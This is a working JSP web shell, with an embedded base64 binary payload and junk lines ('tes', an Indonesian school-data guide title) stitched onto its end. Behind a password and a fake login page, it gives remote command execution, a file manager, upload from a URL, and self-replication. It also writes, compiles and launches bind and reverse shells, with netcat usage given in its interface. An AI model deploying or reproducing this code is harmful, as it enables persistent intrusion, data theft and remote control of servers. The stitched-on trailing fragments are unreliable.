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"; String script_name = request.getRequestURI(); String shell_style = ""; %><%! //################# FUNCTION GOES HERE #######################==============================================] public String getSlash(){ if(is_win()){ return "\\"; } return "/"; } public boolean is_win(){ if(System.getProperty("os.name").toLowerCase().substring(0,3).equals("win")){ return true; } return false; } public String xcleanpath(String path){ if(is_dir(path)){ String xSlash = getSlash(); if(path!=null && path.length() > 1){ while(path.substring(path.length()-1).equals(xSlash)){ path = path.substring(0,path.length()-1); } return path + xSlash; } } return path; } public String urlencode(String str){ try{ if(str!=null) return URLEncoder.encode(str); } catch(Exception e){ } return str; } public String urldecode(String str){ try{ if(str!=null) return URLDecoder.decode(str); } catch(Exception e){ } return str; } public String xparsedir(String dir){ String xSlash = ""; String xSlash_ = ""; if(is_win()){ xSlash = "\\"; xSlash_ = "\\\\"; } else{ xSlash = "/"; xSlash_ = "/"; } String[] dirs = dir.split(xSlash_); StringBuffer buff = new StringBuffer(""); StringBuffer dlink = new StringBuffer(""); if(!is_win()){ dlink.append(urlencode(xSlash)); buff.append("" + xSlash + " "); } for(int i=0;i" + d + " " + xSlash + " "); } } return "[ " + buff + " ]"; } public boolean is_file(String fpath){ try{ File myfile = new File(fpath); if(myfile.exists() && myfile.isFile()){ return true; } } catch(Exception e){ } return false; } public boolean is_dir(String fpath){ try{ File myfile = new File(fpath); if(myfile.exists() && myfile.isDirectory()){ return true; } } catch(Exception e){ } return false; } public String xparentfolder(String fpath){ if(is_dir(fpath)){ File myfile = new File(fpath); if(myfile.getParent()!=null) return myfile.getParent(); else return fpath; } return fpath; } public String xfileopen(String fpath){ try{ StringBuffer content = new StringBuffer(""); if(is_file(fpath)){ FileInputStream fileinputstream = new FileInputStream(fpath); int numberBytes = fileinputstream.available(); byte bytearray[] = new byte[numberBytes]; fileinputstream.read(bytearray); for(int i = 0; i < numberBytes; i++){ content.append((char) (bytearray[i])); } fileinputstream.close(); } return content.toString(); } catch (Exception e) { } return ""; } public boolean xfilesave(String fullPath, byte[] bytes){ try{ OutputStream bufferedOutputStream = new BufferedOutputStream(new FileOutputStream(fullPath)); InputStream inputStream = new ByteArrayInputStream(bytes); int token = -1; while((token = inputStream.read()) != -1){ bufferedOutputStream.write(token); } bufferedOutputStream.flush(); bufferedOutputStream.close(); inputStream.close(); } catch(Exception e){ return false; } if(is_file(fullPath)){ return true; } return false; } public boolean xfilesave(String fullPath, String text){ Writer writer = null; try{ File myFile = new File(fullPath); writer = new BufferedWriter(new FileWriter(myFile)); writer.write(text); writer.close(); } catch (Exception e) { return false; } if(is_file(fullPath)){ return true; } return false; } public void xrmdir(String fdir){ File mypath = new File(fdir); File[] allitem = mypath.listFiles(); for(int i=0;i[ "); letters.append(letter.substring(0,1)); letters.append(" ] "); } letters.append("
"); return letters.toString(); } return ""; } public String xfilelastmodified(String fpath){ if(is_file(fpath) || is_dir(fpath)){ File myfile = new File(fpath); return new SimpleDateFormat("dd-MMM-yyyy HH:mm").format(new java.util.Date(myfile.lastModified())); } return "???"; } public String xfilesummary(String fpath){ if(is_file(fpath)){ return "Filesize : " + xparsefilesize(xfilesize(fpath)) + " ( " + xfilesize(fpath) + " ) :: Permission : " + xfileperms(fpath) + " :: modified : " + xfilelastmodified(fpath); } return ""; } public boolean xrunexploit(String fpath,String base64,String port,String ip){ String finals = ""; byte[] embrio = b64decode(base64); String tmpdir = xcleanpath(System.getProperty("java.io.tmpdir")); String fname = ""; String xpath = ""; boolean ok = false; if(is_win()){ fname = "bd.exe"; xpath = xcleanpath(fpath) + fname; if(is_file(xpath)){ File xfile = new File(xpath); xfile.delete(); } if(!xfilesave(xpath,embrio)){ xpath = tmpdir + fname; if(xfilesave(xpath,embrio)) ok = true; } else ok = true; if(ok){ finals = xpath + " " + port + " " + ip; try { Process p = Runtime.getRuntime().exec(finals); } catch(Exception e) { return false; } return true; } } else { if(!ip.equals("")) fname = "back"; else fname = "bind"; String ypath = xcleanpath(fpath) + fname; if(is_file(ypath + ".c")){ File yfile = new File(xpath + ".c"); yfile.delete(); } if(!xfilesave(ypath + ".c",embrio)){ xpath = tmpdir + fname; if(xfilesave(xpath,embrio)) ok = true; } else ok = true; if(ok){ ekse("gcc " + ypath + ".c -o " + ypath,fpath ); ekse("chmod +x " + ypath,fpath); if(is_file(ypath)){ finals = ypath + " " + port + " " + ip; try{ Process p = Runtime.getRuntime().exec(finals); } catch(Exception e){ return false; } return true; } else return false; } } return false; } String ekse(String cmd, String cwd){ String[] comm = new String[3]; if(!is_win()){ comm[0] = "/bin/sh";comm[1] = "-c";comm[2] = cmd; }else{ comm[0] = "cmd";comm[1] = "/C";comm[2] = cmd; } StringBuffer ret = new StringBuffer(); long start = System.currentTimeMillis(); try { Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(cwd)); //Get input and error streams BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream()); BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream()); boolean end = false; while (!end) { int c = 0; while ((ls_err.available() > 0) && (++c <= 1000)) { ret.append((char) ls_err.read()); } c = 0; while ((ls_in.available() > 0) && (++c <= 1000)) { ret.append((char) ls_in.read()); } try { ls_proc.exitValue(); //if the process has not finished, an exception is thrown //else while (ls_err.available() > 0) ret.append((char) ls_err.read()); while (ls_in.available() > 0) ret.append((char) ls_in.read()); end = true; } catch (IllegalThreadStateException ex) { //Process is running } try { Thread.sleep(50); } catch (InterruptedException ie) {} } } catch (IOException e) { ret.append("Error: " + e); } return ret.toString(); } public String xdir(String fdir){ String path = xcleanpath(urldecode(fdir)); StringBuffer buff = new StringBuffer(""); if(is_dir(path)){ File mypath = new File(fdir); ArrayList fname = new ArrayList(); ArrayList dname = new ArrayList(); String[] allitem = mypath.list(); for(int i=0;i" + "" + "" + "" + "" + ""); if (path.length() > 3){ String sd = "."; String d = xcleanpath(path); String nextdir = xcleanpath(xparentfolder(d)); buff.append(""); buff.append(""); buff.append(""); buff.append(""); buff.append(""); buff.append(""); buff.append(""); sd = ".."; d = xcleanpath(xparentfolder(path)); nextdir = xcleanpath(xparentfolder(d)); buff.append(""); buff.append(""); buff.append(""); buff.append(""); buff.append(""); buff.append(""); buff.append(""); } for(int i=0;i"); buff.append(""); buff.append(""); buff.append(""); buff.append(""); buff.append(""); buff.append(""); } for(int i=0;i"); buff.append(""); buff.append(""); buff.append(""); buff.append(""); buff.append(""); } buff.append("
FilenameFilesizePermissionLast ModifiedAction
[ "+ sd + " ]DIR" + xfileperms(d) + "" + xfilelastmodified(d) + "Properties | Remove
[ "+ sd + " ]DIR" + xfileperms(d) + "" + xfilelastmodified(d) + "Properties | Remove
[ "+ sd + " ]DIR" + xfileperms(nextdir) + "" + xfilelastmodified(nextdir) + "Properties | Remove
"); buff.append(""); buff.append(sf + "" + xparsefilesize(xfilesize(f)) + "" + xfileperms(f) + "" + xfilelastmodified(f) + "Edit | Download | Remove
"); } return buff.toString(); } public boolean is_numeric(String str){ return str.matches("\\d+"); } public void chdir(String directory) { System.setProperty("user.dir",directory); } public byte[] b64decode(String str){ BASE64Decoder myDec = new BASE64Decoder(); byte[] decoded = null; try{ decoded = myDec.decodeBuffer(str); } catch(Exception e){ } return decoded; } public String htmlspecialchars(String scode){ StringBuffer sb = new StringBuffer(); for(int i=0; i' :sb.append(">");break; case '&' :sb.append("&");break; case '"' :sb.append(""");break; case '\'' :sb.append("'");break; case ' ' :sb.append(" ");break; default :sb.append(c); } } return sb.toString(); } public boolean is_image(String fpath){ FileNameMap fileNameMap = URLConnection.getFileNameMap(); String contentType = fileNameMap.getContentTypeFor(fpath); if(contentType!=null && contentType.toLowerCase().startsWith("image")){ return true; } return false; } class myComparator implements Comparator { public int compare(Object o1, Object o2) { String s1 = (String) o1; String s2 = (String) o2; return s1.toLowerCase().compareTo(s2.toLowerCase()); } } public class FileInfo { public String name = null, clientFileName = null, fileContentType = null; private byte[] fileContents = null; public File file = null; public StringBuffer sb = new StringBuffer(100); public void setFileContents(byte[] aByteArray) { fileContents = new byte[aByteArray.length]; System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); } } public class HttpMultiPartParser { //private final String lineSeparator = System.getProperty("line.separator", "\n"); private final int ONE_MB = 1024 * 1; public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, int clength) throws IllegalArgumentException, IOException { if (is == null) throw new IllegalArgumentException("InputStream"); if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( "\"" + boundary + "\" is an illegal boundary indicator"); boundary = "--" + boundary; StringTokenizer stLine = null, stFields = null; FileInfo fileInfo = null; Hashtable dataTable = new Hashtable(5); String line = null, field = null, paramName = null; boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); boolean isFile = false; if (saveFiles) { // Create the required directory (including parent dirs) File f = new File(saveInDir); f.mkdirs(); } line = getLine(is); if (line == null || !line.startsWith(boundary)) throw new IOException( "Boundary not found; boundary = " + boundary + ", line = " + line); while (line != null) { if (line == null || !line.startsWith(boundary)) return dataTable; line = getLine(is); if (line == null) return dataTable; stLine = new StringTokenizer(line, ";\r\n"); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); line = stLine.nextToken().toLowerCase(); if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( "Bad data in second line"); stFields = new StringTokenizer(stLine.nextToken(), "=\""); if (stFields.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); fileInfo = new FileInfo(); stFields.nextToken(); paramName = stFields.nextToken(); isFile = false; if (stLine.hasMoreTokens()) { field = stLine.nextToken(); stFields = new StringTokenizer(field, "=\""); if (stFields.countTokens() > 1) { if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { fileInfo.name = paramName; String value = stFields.nextToken(); if (value != null && value.trim().length() > 0) { fileInfo.clientFileName = value; isFile = true; } else { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } } else if (field.toLowerCase().indexOf("filename") >= 0) { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } boolean skipBlankLine = true; if (isFile) { line = getLine(is); if (line == null) return dataTable; if (line.trim().length() < 1) skipBlankLine = false; else { stLine = new StringTokenizer(line, ": "); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in third line"); stLine.nextToken(); // Content-Type fileInfo.fileContentType = stLine.nextToken(); } } if (skipBlankLine) { line = getLine(is); if (line == null) return dataTable; } if (!isFile) { line = getLine(is); if (line == null) return dataTable; dataTable.put(paramName, line); // If parameter is dir, change saveInDir to dir if (paramName.equals("dir")) saveInDir = line; line = getLine(is); continue; } try { OutputStream os = null; String path = null; if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, fileInfo.clientFileName)); else os = new ByteArrayOutputStream(ONE_MB); boolean readingContent = true; byte previousLine[] = new byte[2 * ONE_MB]; byte temp[] = null; byte currentLine[] = new byte[2 * ONE_MB]; int read, read3; if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { line = null; break; } while (readingContent) { if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { line = null; break; } if (compareBoundary(boundary, currentLine)) { os.write(previousLine, 0, read - 2); line = new String(currentLine, 0, read3); break; } else { os.write(previousLine, 0, read); temp = currentLine; currentLine = previousLine; previousLine = temp; read = read3; }//end else }//end while os.flush(); os.close(); if (!saveFiles) { ByteArrayOutputStream baos = (ByteArrayOutputStream) os; fileInfo.setFileContents(baos.toByteArray()); } else fileInfo.file = new File(path); dataTable.put(paramName, fileInfo); }//end try catch (IOException e) { throw e; } } return dataTable; } /** * Compares boundary string to byte array */ private boolean compareBoundary(String boundary, byte ba[]) { if (boundary == null || ba == null) return false; for (int i = 0; i < boundary.length(); i++) if ((byte) boundary.charAt(i) != ba[i]) return false; return true; } /** Convenience method to read HTTP header lines */ private synchronized String getLine(ServletInputStream sis) throws IOException { byte b[] = new byte[1024]; int read = sis.readLine(b, 0, b.length), index; String line = null; if (read != -1) { line = new String(b, 0, read); if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); } return line; } public String getFileName(String dir, String fileName) throws IllegalArgumentException { String path = null; if (dir == null || fileName == null) throw new IllegalArgumentException( "dir or fileName is null"); int index = fileName.lastIndexOf('/'); String name = null; if (index >= 0) name = fileName.substring(index + 1); else name = fileName; index = name.lastIndexOf('\\'); if (index >= 0) fileName = name.substring(index + 1); path = dir + File.separator + fileName; if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); else return path.replace('/', File.separatorChar); } } //End of class HttpMultiPartParser Hashtable cookieTable(Cookie[] cookies) { Hashtable cookieTable = new Hashtable(); if (cookies != null) { for (int i=0; i < cookies.length; i++) cookieTable.put(cookies[i].getName(), cookies[i].getValue()); } return cookieTable; } %><% //################# INIT GOES HERE #######################==================================================] //String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI()); String xCwd_ = getServletConfig().getServletContext().getRealPath(request.getRequestURI()); String xCwd = xCwd_.substring(0,xCwd_.lastIndexOf(getSlash())); chdir(xCwd); String result = ""; String check = ""; Hashtable _COOKIE = cookieTable(request.getCookies()); Cookie myCookie; boolean auth = false; if((request.getParameter("passw")!=null) && (!request.getParameter("passw").equals(""))){ check = request.getParameter("passw").trim(); if(check.equals(shell_password)){ myCookie = new Cookie("pass",check); myCookie.setMaxAge(3600*24*7); response.addCookie(myCookie); } else { myCookie = new Cookie("pass",""); myCookie.setMaxAge(0); response.addCookie(myCookie); } } if(_COOKIE.containsKey("pass")) { check = (String) _COOKIE.get("pass"); } if(check.equals(shell_password)){ auth = true; } else auth = false; if((request.getParameter("img")!=null) && (!request.getParameter("img").equals(""))){ String myfile = request.getParameter("img"); if(is_file(myfile)){ response.setContentType("image/png"); OutputStream o = response.getOutputStream(); FileInputStream fis = new FileInputStream(myfile); int i; while ((i=fis.read()) != -1){ o.write(i); } fis.close(); o.flush(); o.close(); return; } else{ String file = ""; if(myfile.equals("icon")){ file = icon; } else if(myfile.equals("bg")){ file = bg; } byte[] data = b64decode(file); response.setContentType("image/png"); OutputStream o = response.getOutputStream(); o.write(data); o.flush(); o.close(); return; } } if((request.getParameter("get")!=null) && (!request.getParameter("get").equals(""))){ String myfile = request.getParameter("get"); File myfile__ = new File(myfile); response.setContentType("application/octet-stream"); response.setHeader("Content-Disposition","attachment; filename=\"" + myfile__.getName() + "\""); OutputStream o = response.getOutputStream(); FileInputStream fis = new FileInputStream(myfile); int i; while ((i=fis.read()) != -1){ o.write(i); } fis.close();o.flush();o.close(); return; } if((request.getParameter("dir")!=null) && (!request.getParameter("dir").equals(""))){ String newdir = xcleanpath(urldecode(request.getParameter("dir").trim())); if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){ if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){ newdir = xcleanpath(xparentfolder(request.getParameter("oldfilename"))); } } if(is_dir(newdir)){ chdir(newdir); xCwd = newdir; } else if(is_file(newdir)){ newdir = newdir.substring(0,newdir.lastIndexOf(getSlash())); if(is_dir(newdir)){ chdir(newdir); xCwd = newdir; } } if((request.getParameter("foldername")!=null) && (!request.getParameter("foldername").equals(""))){ File myFile = new File(xcleanpath(xCwd + request.getParameter("foldername"))); if(!myFile.exists()) myFile.mkdir(); } else if((request.getParameter("del")!=null) && (!request.getParameter("del").equals(""))){ String fdel = request.getParameter("del"); if(is_file(fdel)) new File(fdel).delete(); else if(is_dir(fdel)){ xrmdir(fdel); xCwd = xcleanpath(newdir); } } else if((request.getParameter("childname")!=null) && (!request.getParameter("childname").equals(""))){ String childname = request.getParameter("childname").trim(); String ortu = getServletConfig().getServletContext().getRealPath(request.getRequestURI()); String con = xfileopen(ortu); xfilesave(xCwd+childname,con); } } if((request.getParameter("btnConnect")!=null) && (!request.getParameter("btnConnect").equals(""))){ if((request.getParameter("bportC")!=null) && (is_numeric(request.getParameter("bportC")))){ String port = request.getParameter("bportC"); String base64 = ""; if(is_win()) base64 = wBind; else base64 = xBack; if(xrunexploit(xCwd,base64,port,request.getRemoteAddr())){ } } } else if((request.getParameter("btnListen")!=null) && (!request.getParameter("btnListen").equals(""))){ if((request.getParameter("lportC")!=null) && (is_numeric(request.getParameter("lportC")))){ String port = request.getParameter("lportC"); String base64 = ""; if(is_win()) base64 = wBind; else base64 = xBind; if(xrunexploit(xCwd,base64,port,"")){ } } } if ((request.getContentType() != null) && (request.getContentType().toLowerCase().startsWith("multipart"))) { HttpMultiPartParser myParser = new HttpMultiPartParser(); try{ int bstart = request.getContentType().lastIndexOf("oundary="); String bound = request.getContentType().substring(bstart + 8); int clength = request.getContentLength(); Hashtable ht = myParser.processData(request.getInputStream(), bound, xCwd, clength); if(ht.get("btnNewUploadUrl")!=null && !ht.get("btnNewUploadUrl").equals("")){ if(ht.get("fileurl")!=null && !ht.get("fileurl").equals("")){ URL myUrl = new URL(ht.get("fileurl").toString()); URLConnection myCon = myUrl.openConnection(); int conLength = myCon.getContentLength(); InputStream raw = myCon.getInputStream(); InputStream in = new BufferedInputStream(raw); byte[] data = new byte[conLength]; int bytesRead = 0; int offset = 0; while(offset < conLength){ bytesRead = in.read(data, offset, data.length - offset); if(bytesRead == -1) break; offset += bytesRead; } in.close(); if(offset == conLength){ String fname = myUrl.getFile(); fname = fname.substring(fname.lastIndexOf('/')+1); if(ht.get("filename")!=null && !ht.get("filename").equals("")){ fname = ht.get("filename").toString().trim(); } FileOutputStream ooo = new FileOutputStream(xCwd + fname); ooo.write(data);ooo.flush();ooo.close(); } } } else if(ht.get("btnNewUploadLocal")!=null && !ht.get("btnNewUploadLocal").equals("")){ FileInfo fi = (FileInfo) ht.get("filelocal"); String clientFileName = xCwd + fi.clientFileName.trim(); if(ht.get("filename")!=null && !ht.get("filename").equals("")){ String filename = xCwd + ht.get("filename").toString().trim(); File clientFile = new File(clientFileName); clientFile.renameTo(new File(filename)); } } } catch(Exception e){ } } if((request.getParameter("cmd")!=null) && (!request.getParameter("cmd").equals(""))){ String cmd = urldecode(request.getParameter("cmd")); String newdir = ""; if(cmd.toLowerCase().startsWith("cd ")){ newdir = cmd.substring(3).trim(); if(is_win()) newdir = newdir.replace("/","\\"); if(newdir.equals("\\") && xCwd.length()>=3){ xCwd = xCwd.substring(0,3); } else if(newdir.equals(".")) { } else if(newdir.equals("..")) { xCwd = xcleanpath(xparentfolder(xCwd)); } else{ if(newdir.indexOf(":") > 0){ if(is_dir(newdir)){ xCwd = xcleanpath(newdir); } } else if(is_dir(newdir)){ xCwd = xcleanpath(newdir); } else{ if(is_dir(xCwd + newdir)) { xCwd = xcleanpath(xCwd + newdir); } } } result = xdir(xCwd); } else if(cmd.matches("^\\w{1}:.*")){ if(is_dir(cmd)){ xCwd = xcleanpath(cmd); } result = xdir(xCwd); } else { String result_ = htmlspecialchars(ekse(cmd,xCwd)); if(!result_.equals("")) result = result_.replace("\n","
"); else { result = xdir(xCwd); } } chdir(xCwd); } else if((request.getParameter("properties")!=null) && (!request.getParameter("properties").equals(""))){ String fname = xcleanpath(urldecode(request.getParameter("properties"))); String oldname = ""; if((request.getParameter("oldfilename")!=null) && (!request.getParameter("oldfilename").equals(""))){ oldname = request.getParameter("oldfilename"); File oldfile = new File(oldname); oldfile.renameTo(new File(fname)); } String dir = xCwd; String fcont = ""; String fview = ""; String fsize = ""; String faction = ""; String type = ""; if(is_dir(fname)){ fsize = "DIR"; fcont = xdir(fname); faction = "Properties | Remove"; } else{ fsize = xparsefilesize(xfilesize(fname)) + " ( " + xfilesize(fname) + " bytes )"; if((request.getParameter("type")!=null) && (!request.getParameter("type").equals(""))) type = request.getParameter("type").trim(); else{ if(is_image(fname)) type = "img"; else type = "text"; } if(type.equals("img")){ String imglink = "

[ view full size ]

"; fcont = "
" + imglink + "\"\"
"; } else{ String code = htmlspecialchars(xfileopen(fname)); fcont = "
" + code.replace("\n","
") + "
"; } faction = "Edit | Download | Remove"; fview = "[ text ][ image ]"; } String fperm = xfileperms(fname); String filemtime = xfilelastmodified(fname); result = "
" + "
" + "" + "" + faction + " | " + "" + " " + "" + "
" + "Size = " + fsize + "
" + "Permission = ( " + fperm + " )
" + "Last Modified = ( " + filemtime + " )
" + fview + "
" + fcont + "
"; } else if(((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) || ((request.getParameter("filename")!=null) && (!request.getParameter("filename").equals("")))){ String mymsg = ""; String pesan = ""; String fpath = ""; boolean dos = false; if((request.getParameter("save")!=null) && (!request.getParameter("save").equals(""))){ if((request.getParameter("dos")!=null) && (request.getParameter("dos").equals("true"))){ dos = true; } String saveas = request.getParameter("saveas"); BufferedWriter outs = new BufferedWriter(new FileWriter(saveas)); StringReader text = new StringReader(request.getParameter("filesource")); int i; boolean cr = false; String lineend = "\n"; if (dos) lineend = "\r\n"; while ((i = text.read()) >= 0) { if (i == '\r') cr = true; else if (i == '\n') { outs.write(lineend); cr = false; } else if (cr) { outs.write(lineend); cr = false; } else { outs.write(i); cr = false; } } outs.flush(); outs.close(); if(is_file(saveas)) pesan = "File Saved"; else pesan = "Failed to save file"; mymsg = "[ " + pesan + " ]"; } if((request.getParameter("view")!=null) && (!request.getParameter("view").equals(""))) { fpath = request.getParameter("view"); if((request.getParameter("saveas")!=null) && (!request.getParameter("saveas").equals(""))){ fpath = request.getParameter("saveas"); } } else fpath = xCwd + request.getParameter("filename"); StringBuffer result_ = new StringBuffer("");; BufferedReader reader = new BufferedReader(new FileReader(fpath)); int i; boolean cr = false; while ((i = reader.read()) >= 0) { result_.append((char) i); if (i == '\r') cr = true; else if (cr && (i == '\n')) dos = true; else cr = false; } reader.close(); String doz = "";if(dos) doz="true";else doz="false"; result = "

" + xfilesummary(fpath) + "" + mymsg + "

" + "
" + "" + "" + "" + " " + "
"; } else{ result = xdir(xCwd); } //################# Finalizing #######################======================================================] File xcfile = new File("."); xCwd = xcfile.getCanonicalPath(); String html_title = ""; String html_head = ""; String html_body = ""; if(auth){ String bportC = ""; String lportC = ""; if(request.getParameter("bportC")!=null) bportC = request.getParameter("bportC"); else bportC = shell_fav_port; if(request.getParameter("lportC")!=null) lportC = request.getParameter("lportC"); else lportC = shell_fav_port; html_title = shell_title + " " + xCwd; html_head = "" + html_title + "" + "" + shell_style + ""; html_body = "
" + "

" + shell_title + "

" + "
" + xHeader + "
" + xdrive() + xparsedir(xCwd) + "
" + "" + "
" + "
" + "" + "" + "" + "" + "" + "" + "" + "
BackConnect" + "Port " + " " + "example: (using netcat) run "nc -l -p " + bportC + "" and then press Connect
Listen" + "Port " + " " + "example: (using netcat) press "Listen" and then run "nc " + xServerIP + " " + lportC + ""
" + "
" + "
" + "" + "" + "
New Foldername" + "" + "" + "" + "
" + "
" + "
" + "" + "" + "
New Filename" + "" + "" + "" + "
" + "
" + "
" + "" + "" + "" + "
Save as
From Url" + "" + "
From Computer" + "" + "" + "
" + "
" + "
" + "" + "" + "
New Shellname" + "" + "" + "
" + "
" + "
" + "
" + "" + "" + "" + "
" + "
" + "
" + "
" + result + "
"; } else { html_title = shell_fake_name; html_head = "" + html_title + "" + shell_style; html_body = "
" + "
" + "
" + "" + "" + "
" + "
" + "
" + shell_fake_name + "
" + "
"; } String html_onlo
9. tes
10. tes
11. tes
12. asffasf asfa
13. Panduan Pengisian Matpel Mulok, Senbud, dan PKWU pada Kurikulum Sekolah Penggerak di Dapodik 2022.a- afsdgdsgsd g dsg